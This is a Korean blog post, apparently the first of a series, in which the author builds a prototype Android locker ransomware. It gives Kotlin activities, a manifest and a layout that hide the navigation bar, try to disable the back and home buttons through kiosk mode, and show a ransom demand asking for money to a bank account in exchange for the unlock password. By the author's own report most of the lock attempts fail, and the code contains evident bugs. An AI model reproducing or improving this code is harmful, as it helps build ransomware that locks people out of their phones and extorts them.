외로운 Nova의 작업실
Android LockMalware 연구 - 1 본문
- 연구 개요
플레이스토어에서 어플을 보다보면 공부잠금 어플이라고해서 일정 시간을 설정하면 그 시간동안 핸드폰으로 아무것도 할 수 없게 만드는 어플이 있습니다. 이러한 기능을 악용해서 패스워드를 입력해야만 앱이 꺼지고 핸드폰을 사용할 수 있게하는 앱을 만들어서 패스워드 값으로 돈을 요구하는 LockMalware에대해서 구현해보는 연구를 해보겠습니다.
- 메뉴바를 숨기고 뒤로가기 버튼 기능 마비
<요구 기능>
첫번째 시도에 넣어볼 것은 뒤로가기랑 홈버튼을 숨기고 뒤로가기 버튼을 눌렀을때 작동이 되지않는 앱을 만들고 홈 버튼 기능을 마비시키는 기능을 넣어보겠습니다. 비밀번호는 간단하게 1234로 했습니다.
<mainActivity>
import android.os.Build
import android.os.Bundle
import android.view.View
import androidx.appcompat.app.AppCompatActivity
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// 전체 화면 모드로 변경
hideSystemUI()
}
private fun hideSystemUI() {
// 안드로이드 버전이 KitKat (API 19) 이상인지 확인
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
// 시스템 UI의 네비게이션 바 숨기기
window.decorView.systemUiVisibility = (
View.SYSTEM_UI_FLAG_HIDE_NAVIGATION
or View.SYSTEM_UI_FLAG_IMMERSIVE
)
} else {
// KitKat 이하의 버전에서는 전체 화면 모드를 지원하지 않습니다.
// 원하는 동작을 수행하세요.
}
}
// 액티비티가 포커스를 잃었다가 다시 받았을 때 전체 화면 모드로 유지되도록 설정
override fun onWindowFocusChanged(hasFocus: Boolean) {
super.onWindowFocusChanged(hasFocus)
if (hasFocus) {
hideSystemUI()
}
}
//뒤로가기 버튼 눌러도 반응 없도록 설정
override fun onPause() {
super.onPause()
moveTaskToBack(true)
}
}
<activity_main.xml>
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity">
<TextView
android:id="@+id/textview1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="아래 계좌로 20만원을 송금하면 패스워드를 알려주겠다."
app:layout_constraintBottom_toTopOf="@+id/textView"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintHorizontal_bias="0.494"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent"
app:layout_constraintVertical_bias="0.763" />
<TextView
android:id="@+id/textView"
android:layout_width="181dp"
android:layout_height="18dp"
android:layout_marginBottom="48dp"
android:text="카카오뱅크 3333-3333-3333"
app:layout_constraintBottom_toTopOf="@+id/editTextTextPassword"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent" />
<Button
android:id="@+id/button"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginBottom="260dp"
android:text="패스워드 확인"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintHorizontal_bias="0.498"
app:layout_constraintStart_toStartOf="parent" />
<EditText
android:id="@+id/editTextTextPassword"
android:layout_width="259dp"
android:layout_height="78dp"
android:layout_marginBottom="40dp"
android:ems="10"
android:hint="패스워드"
android:inputType="textPassword"
app:layout_constraintBottom_toTopOf="@+id/button"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent" />
</androidx.constraintlayout.widget.ConstraintLayout>
<화면>
<결과>
메뉴바 숨기기 : 성공
뒤로가기 기능 마비 : 성공
- 홈 버튼 기능 마비 기능 추가
<홈버튼 기능 마비 시도 - 1>
private var shouldKeepRunning = false
override fun onPause() {
super.onPause()
if (!shouldKeepRunning) {
moveTaskToBack(true)
}
}
위 코드로도 홈버튼을 마비시킬 수 없었습니다. 이유는 안드로이드 운영체제마다 홈버튼을 마비시킬 수 있기도하고 없기도 하기때문인 것으로 확인됩니다.
<홈버튼 기능 마비 시도 - 2>
액티비티 생명주기를 이용해서 홈버튼이 눌리면 resume()함수를 실행시키는 코드를 삽입해봤습니다.
override fun onResume() {
super.onResume()
// onResume() 메서드 호출
onCustomResume()
}
private fun onCustomResume() {
// 여기에 onResume() 메서드에서 수행하고자 하는 작업을 구현
// 예: UI 업데이트, 데이터 갱신 등
// 호출된 onResume() 메서드에서 필요한 동작을 수행
}
하지만 결과는 실패입니다. 다른 방법을 찾아야할 것 같습니다.
- kiosk 모드를 활용한 홈버튼 기능 마비
코드를 추가하는 걸로 아무리해도 안되어서 이번에는 kiosk 모드를 활용해서 홈 버튼 기능을 마비시켜보도록 하겠습니다. kiosk 모드를 활용하려면 앱 코드를 전부 수정해야했습니다. 아래는 MainActivity 파일입니다.
<MainActivity>
package com.example.lockmalware
import android.content.ComponentName
import android.content.pm.PackageManager
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
import android.content.Intent
import com.example.lockmalware.KioskActivity
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// Kiosk 모드를 시작
startKioskMode()
}
private fun startKioskMode() {
val componentName = ComponentName(this, KioskActivity::class.java)
packageManager.setComponentEnabledSetting(
componentName,
PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
PackageManager.DONT_KILL_APP
)
val intent = Intent(this, KioskActivity::class.java)
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TASK)
startActivity(intent)
}
}
<KioskActivity>
package com.example.lockmalware
import android.app.Activity
import android.content.ComponentName
import android.content.Context
import android.content.Intent
import android.content.pm.PackageManager
import android.os.Bundle
import android.view.KeyEvent
import android.view.View
import com.example.lockmalware.R
import com.example.lockmalware.databinding.ActivityMainBinding
class KioskActivity : Activity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
val binding = ActivityMainBinding.inflate(layoutInflater) //activity_main_xml 파일의 객체들을 가져옵니다.
setContentView(binding.root)
// 화면 초기화 작업 및 필요한 기능 수행
binding.button.setOnClickListener(){
var password = binding.button.text.toString()
if(password == "1234"){
finish()
}
else{
}
}
}
override fun onResume() {
super.onResume()
hideSystemUI()
}
override fun onKeyDown(keyCode: Int, event: KeyEvent?): Boolean {
if (keyCode == KeyEvent.KEYCODE_HOME || keyCode == KeyEvent.KEYCODE_BACK) {
return true // 홈 버튼 및 뒤로가기 버튼 이벤트를 처리하지 않음
}
return super.onKeyDown(keyCode, event)
}
private fun hideSystemUI() {
window.decorView.systemUiVisibility = (View.SYSTEM_UI_FLAG_HIDE_NAVIGATION
or View.SYSTEM_UI_FLAG_IMMERSIVE
or View.SYSTEM_UI_FLAG_FULLSCREEN)
}
}
<manifest>
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">
<application
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.Lockmalware"
tools:targetApi="31">
<activity
android:name=".MainActivity"
android:exported="true"
android:launchMode="singleTask">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name=".KioskActivity"
android:configChanges="orientation|keyboardHidden"
android:screenOrientation="landscape" />
</application>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
</manifest>
<결과>
뒤로가기 버튼 기능 마비 : 실패
홈버튼 기능 마비 : 실패
실패 이유는 안드로이드 운영체제 버전마다(?) 키오스크 모드를 지원을 안할 수 있는 점이 있다고합니다. 아무래도 다른 방법을 찾아야할 것 같습니다.
'Mobile App Penetesting > Android Malware' 카테고리의 다른 글
Android LockMalware 연구 - 2 (0) | 2023.05.21 |
---|